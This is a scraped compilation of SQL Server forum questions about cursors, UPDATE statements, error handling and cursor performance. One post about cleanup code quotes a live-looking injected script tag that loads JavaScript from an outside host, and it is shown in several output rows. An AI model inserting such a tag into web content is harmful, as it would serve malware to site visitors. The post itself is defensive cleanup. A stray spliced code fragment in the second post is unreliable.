Error On Update, But Not When Using Cursor

Dec 7, 2006

I've implemented a UDF in SQL Server 2005 written in C#. The function with its assembly has been registered ok with SQL Server and works fine. It accepts three short strings (nvarchar of lengths 5, 35, and 35) and returns a SQL formatted string (SqlString).

When I run the function to test it it works just fine, and the same is true if I run the function inside a cursor to update a field in a table. But when I do a simple update it crashes. I've so far received two different errors: first one error saying a string could not be converted into an integer (but the error does not occur when I enter the same input values manually via a test Windows form, or through the new Query Analyzer as a single query - or using it inside a cursor). Then one error saying a string was too short (I couldn't use substring(X, Y) because the string, I was told, was too short - it wasn't).

The problem thus cannot be with the function since it works just fine if I do like this:

UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3) WHERE PersonId = 10000001

And it works fine while doing the same thing inside a cursor (for instance working with the first 10, 100 or 1000 records).

But when I do this it crashes:

UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3)

For your information the table has about 1.5M records (for testing, it contain more data when on the production server) and my aim is to update the CodeField column as quickly as possible. The CodeField is a 12-character string that is based on a rather complex algorithm including the Field1, Field2 and Field3 strings. I'm using C# because it manages strings much better than SQL Server - and it is so much easier coding this stuff.

Anyhow, I've had this kind of problem before with SQL Servers 2000 and 7 (maybe even 6.5) and it seems the problem occurs when I let SQL Server go about its business at its own pace. But when I do something to control that it really takes one record at a time (through using a cursor or executing the query with a WHERE clause like the one above) it works splendidly.

The problem here is that a cursor is way too slow, and there really shouldn't be a problem with a simple UPDATE command, should it? After all, everything works just fine except when I let SQL Server do what it does best (i.e. update the field at its own speed, whatever that is).

Any ideas? This is very frustrating since it is impossible to try and find the error - it isn't there when testing! And it is frustrating since I remember having had the same kind of problem (but every time with different errors arising) before without finding a solution (except for slowing everything down - not an option here).

Is there a certain tweak I can do to make things work out, or should I code things differently?

Thanks!

Using Cursor For Update Statement?

May 9, 2012

I would like to get the results of a cursor into update statement but it fills only the last record of the cursor

this is the cursor:

Code:
DECLARE @avg varchar(50)
DECLARE @cur_avg CURSOR
SET @cur_avg = CURSOR FOR
select cast(avg(cast(reply as decimal(12,2))) as decimal(12,2)) from tbl_app_monitoring
group by test_name, application_id

this is the update statement:

Code:
OPEN @cur_avg
FETCH @cur_avg INTO @avg
WHILE (@@FETCH_STATUS = 0) BEGIN
UPDATE tbl_app_monitoring_archive
SET average = @avg
FETCH @cur_avg INTO @avg
END

is it also possible to do this without the cursor ?

Clone_Cursor("ABAN8") = @NextNo
Update Clone_Cursor
FETCH NEXT FROM Clone_Cursor
END

CLOSE Clone_Cursor
DEALLOCATE Clone_Cursor

Cursor Update Creating Nulls

Feb 1, 2008

So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls.


Code:

use db7021
go

select * from products
go

declare @desc varchar(max)
declare @virus varchar(128)
set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>'
declare @start int
declare @end int
declare thecursor CURSOR LOCAL SCROLL_LOCKS
for select cdescription from products
where cdescription like ('%' + @virus + '%')
for update of cdescription

open thecursor
fetch next from thecursor into @desc
while @@FETCH_STATUS = 0
begin
print @desc
set @start = charindex(@virus, @desc)
set @end = @start + len(@virus)
print cast(@start as char) + ', ' + cast(@end as char)
set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1)
update products
set cdescription = @desc
where current of thecursor
fetch next from thecursor into @desc
end

close thecursor
deallocate thecursor

select * from products
go



Which produces the output:

Code:

id cname cdescription
----------- ----------- ----------------------------------------------------------------------------------------
1 banana sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
2 apple sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
3 lolcat sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
4 cheezburgr sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>

(4 row(s) affected)

sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89

(1 row(s) affected)
sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89

(1 row(s) affected)
sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89

(1 row(s) affected)
sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89

(1 row(s) affected)
id cname cdescription
----------- ------------ ------------
1 banana NULL
2 apple NULL
3 lolcat NULL
4 cheezburgr NULL

(4 row(s) affected)


I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs.

Maybe I've missed something in the syntax for cursors?

Variable As Field Name In CURSOR FOR UPDATE

Dec 10, 2005

I'm trying something like:

UPDATE tbl SET @varFieldName = @varValue

The procedure runs, and when I PRINT @varFieldName, it looks fine, but the table isn't getting updated, and no errors, wierd.

I have the CURSOR open for update, but I didn't list the field names, that shouldn't be a problem, as all fields should be updateable then.

To get the field name, I :

SET @varFieldName = 'SomeChars' + LTRIM(STR(asmallint)) + 'SomeMoreChars'

Thanks,
Carl

Read The Csv In A Cursor Instead Of Bulk Update

Feb 13, 2008

Hello,
I am trying to read in from a csv file which works like this:


DECLARE @doesExist INT
DECLARE @fileName VARCHAR(200)
SET @fileName = 'c:file.csv'

SET NOCOUNT ON

EXEC xp_fileexist "' + @fileName + '", @doesExist OUTPUT
SET NOCOUNT OFF

IF @doesExist = 1

BEGIN
BULK INSERT OrdersBulk
FROM "' + @fileName + '"
WITH
(
FIELDTERMINATOR = ',',
ROWTERMINATOR = ''
)
END
ELSE
print('Error cant find file')



What I want to do is check another table before each line inserts, if the data already exists I want to do an UPDATE.
I think i can do what i need with a cursor but I think the bulk update just pushes all the data up and will not allow me to put in the cursor.
So is there a way i can read the csv in a cursor instead of using the bulk insert so i can examine each row?

Cursor Count Loop - Update Table

Jul 6, 2000

I am importing a text file that list invoice columns. The invoice detail table needs the line items to be listed with sequential numbers. I import the file to a temp table to do the work in and I know I need to have the cursor do loop through and count, however, I have no more hair to pull out.

The table looks something like this.

inv# SKU
1001 ABC123
1001 DEF456
1001 GHI789
1002 123DEF
1002 456GHI
1002 876HGT

I need the cursor to go through and number each line, something like this.

inv# SKU Line#
1001 ABC123 1
1001 DEF456 2
1001 GHI789 3
1002 123DEF 1
1002 456GHI 2
1002 876HGT 3

Any help is greatly appriciated.

SQL 2000 Partitioned View Works Fine, But CURSOR With FOR UPDATE Fails To Declare

Oct 17, 2006

This one has me stumped.

I created an updateable partioned view of a very large table. Now I get an error when I attempt to declare a CURSOR that SELECTs from the view, and a FOR UPDATE argument is in the declaration.

There error generated is:

Server: Msg 16957, Level 16, State 4, Line 3

FOR UPDATE cannot be specified on a READ ONLY cursor



Here is the cursor declaration:



declare some_cursor CURSOR

for

select *

from part_view

FOR UPDATE



Any ideas, guys? Thanks in advance for knocking your head against this one.

PS: Since I tested the updateability of the view there are no issues with primary keys, uniqueness, or indexes missing. Also, unfortunately, the dreaded cursor is requried, so set based alternatives are not an option - it's from within Peoplesoft.

Error Handling + Cursor

Oct 25, 2007



Hello group

I need some help and gaining knowledge per the SQL Standards.

I have a Stor Procedue which Cursor through say MASTER. This table have information/ Counm that guides me to multiple say two different table.
i.e, Col1 in MASTER table have the information on what table I need to work on COL2 in MASTER Table give me what Field I have to work on and accordingly move the data

Example :

MASTER
ID COL1 COL2 COL3
1 Address Street Nichols Rd.
1 Address Zip 90001
2 Address Street Michigan Ave
2 Address Zip 90002
3 Person FName James
3 Person LName Bond
4 Person FName Bill
4 Person LName Gates


Address
ID Street Zip
1 Nichols Rd. 90001
2 Michigan Ave 90002

Person
ID FName LName
3 James Bond
4 Bill Gates

For doing this I created a Store Procedure which Cursor thru MASTER table which for each row goes to Entity on which it has to work (MASTER Table : Col1 Value) and in that entity Its goes to the Field(MASTER Table: Col2 Value) and places the value of the Col3 in it.

It is working fine and superb. Now, I try to introduce Error Handling such that incase in order to see if there is any error while doing this INSERT and UPDATE.

SAMPLE QUERY: (Structure is Same but modified for readability)


UPDATE @ENTITY SET @FIELD = @VALUE WHERE ID = @KEYID
IF @@ERROR <> 0

BEGIN
INSERT INTO dbo.ErrorLog VALUES( @KEYID + ' , '+ @ENTITY + ' , ' + @FIELD +' , ' + @VALUE )
END

This query is working fine . If there is any error and for some reason if its not able to insert/update the data Its populates the ErrorLog Table and instead of failing the store proc goes for the next row and do teh necessary action

Finally SProc does what it has too
1) Get the data in teh respective tabel and colunm
2) if it cannot insert/ update go for the next row and populate the error log table with what it was n't able to update/ insert


SO Whats the problem? Good question , here is the issue or topic of discussion

1) What is the standard way of Error Handling. Did I atleast follow teh minimum Error Handling criteria.
2) I can see from teh table that, as required, its skipping the row into Error Log table whenevr its not able to do the required functions and going for next row
3) I introduce a Error and when I execute the Sproc it gives me Mesaage:

Msg 8152, Level 16, State 14, Line 1

String or binary data would be truncated.

The statement has been terminated.
Also I see that "Query Completed with Errors" well I said whenever teh SPROC see error do some thing else, then why would it count it as error and give me this message? Why is the SPROC failing.

What Should I do such that it counts or give when ever there is a genuine error. I mean it should not fail at all because I am saying there whenever there is an incapability of Insert/ Delete just simply skip the row and Insert that row in Error Log Table.

Am I missing something in this Proc?

If it will do that then is tehre any way or query or anything I have to do that handles the issue that
Whennver its not able to do whatever I am asking it to do (Ex: If I am asking it to insert INTEGER in Character Field) then an error is raised then just skipp that row insert that row in erro log and go for next row and dont fail the SPROC.


THANKS FOR THE PATIENCE FOR READING AND REPLYING.

The Cursor Does Not Include The Table ... Error?

Sep 4, 2007

We use a lot of virtual machines. I have a base VM with SQL 2005 installed. I rename this VM (i have multiple copies running) and run an old application (VB code, iterates through recordsets, etc.).

I get: Microsoft][ODBC SQL Server Driver][SQL Server]Could not find server '2K3VM-DG' in sysservers. Execute sp_addlinkedserver to add the server to sysservers.

This makes sense, and I can fix it with sp_dropserver / sp_addserver [local]. Good.

The next error is puzzling though:

[Microsoft][ODBC SQL Server Driver][SQL Server]The cursor does not include the table being modified or the table is not updatable through the cursor.

Any suggestions on how to fix this?

Transact SQL :: STATIC Defines A Cursor That Makes Temporary Copy Of Data To Be Used By Cursor

Aug 12, 2015

In MSDN file I read about static cursor

STATIC
Defines a cursor that makes a temporary copy of the data to be used by the cursor. All requests to the cursor are answered from this temporary table in
tempdb; therefore, modifications made to base tables are not reflected in the data returned by fetches made to this cursor, and this cursor does not allow modifications

It say's that modifications is not allowed in the static cursor. I have a  questions regarding that

Static Cursor
declare ll cursor global static
            for select  name, salary from ag
  open ll
             fetch from ll
 
              while @@FETCH_STATUS=0
               fetch from ll
                update ag set salary=200 where 1=1
 
   close ll
deallocate ll

In "AG" table, "SALARY" was 100 for all the entries. When I run the Cursor, it showed the salary value as "100" correctly.After the cursor was closed, I run the query select * from AG.But the result had updated to salary 200 as given in the cursor. file says  modifications is not allowed in the static cursor.But I am able to update the data using static cursor.

Close And Deallocate Cursor In Error Routine

Oct 26, 2000

I have an error trapping routine within a proc that uses cursors. The routine works but if I run the stored proc from Query analyzer more than once it complains the cursor has already been declared and is still open. Should I close and deallocate as part of my error routine?

Error 16916: A Cursor With The Name Tentative_cursor Does Not Exist

Jun 24, 2006

Hi,

I am creating a stored procedure which contains the declaration of a cursor, fetch the cursor, close the cursor, deallocate cursor. I tried executing this code in SQL analyzer and found working. But when I use the same code inside a create stored procedure, it throws the following error message.

Error 16916: A cursor with the name "tentative_cursor" does not exist

As a result, I am not able to proceed in creation of stored procedure with the above SQL statements.

Can any one help me where the problem is..

My SQL statements..
---------
DECLARE tentative_cursor CURSOR
FOR select * from TbTentativeBookingTable where ExpTime < GETDATE()
GO
OPEN tentative_cursor
GO
DECLARE @transactionno BIGINT
...
...
FETCH ...
CLOSE tentative_cursor
---------


Thanks

T-SQL (SS2K8) :: Cursor - Declare Variable Error

Sep 9, 2014

The below cursor is giving an error

DECLARE @Table_Name NVARCHAR(MAX) ,
@Field_Name NVARCHAR(MAX) ,
@Document_Type NVARCHAR(MAX)

DECLARE @SOPCursor AS CURSOR;
SET
@SOPCursor = CURSOR FOR

[Code] ....

The @Table_Name variable is declared, If I replace the delete statement (DELETE FROM @Table_Name ) with (PRINT @table_name) it works and print the table names.

Why does the delete statement give an error ?

Error 1429: A Server Cursor Cannot Be Opened...

Sep 12, 2006

Using SQL native client from VFP 9.0 to SQL Server 2005 64 bit SP1 (happened before SP1 too)..

We have a stored procedure that returns 6 result sets. This SP uses 2 cursors. It is rather lengthy - I'll post the code if needed.

This SP works fine when called from VFP 99 percent of the time. Normally takes 2 to 3 secunds to execute.

Once in a while we will get a return from SQL ..

"OLE IDispatch exception code 0 from Microsoft SQL Native Client: A server cursor cannot be opened on the given statement or statements. Use a default result set or client cursor..."

The OLE error code is 1429. An OLE Exception code 3604 is also returned.

When this happens the SP will return the same error when executed for the same parameters over and over when called from VFP. When called directly from SQL management console it will normally work for the same parameters, although once in a while it will just hang (and not timeout apparently). In that case it will also hang from SQLCMD command line utility as well.

Wait a few hours and the SP will run fine for the same parameters in VFP. This happens even in the middle of the night when there is no possibility that data is being changed.

Here's the really fun part...

Open the SP source for modification (ALTER PROCEDURE) in management console and execute it (no changes at all, just let it recompile). Immediately it will work fine when called with the same parameters called from VFP or anywhere else (even if it was one of the rare instances where it hung in management console). This works EVERY TIME.

Sooo... I edited and executed the SP with the WITH RECOMPILE option assuming that that should do the trick (same as alter procedure/executing from management console right?). NOPE. Same problems. In order to work around the problem when the error occurs, I HAVE TO alter procedure and execute the code from management console.

Help??

Dynamic Cursor Versus Forward Only Cursor Gives Poor Performance

Jul 20, 2005

Hello,I have a test database with table A containing 10,000 rows and a tableB containing 100,000 rows. Rows in B are "children" of rows in A -each row in A has 10 related rows in B (ie. B has a foreign key to A).Using ODBC I am executing the following loop 10,000 times, expressedbelow in pseudo-code:"select * from A order by a_pk option (fast 1)""fetch from A result set""select * from B where where fk_to_a = 'xxx' order by b_pk option(fast 1)""fetch from B result set" repeated 10 timesIn the above psueod-code 'xxx' is the primary key of the current Arow. NOTE: it is not a mistake that we are repeatedly doing the Aquery and retrieving only the first row.When the queries use fast-forward-only cursors this takes about 2.5minutes. When the queries use dynamic cursors this takes about 1 hour.Does anyone know why the dynamic cursor is killing performance?Because of the SQL Server ODBC driver it is not possible to havenested/multiple fast-forward-only cursors, hence I need to exploreother alternatives.I can only assume that a different query plan is getting constructedfor the dynamic cursor case versus the fast forward only cursor, but Ihave no way of finding out what that query plan is.All help appreciated.Kevin
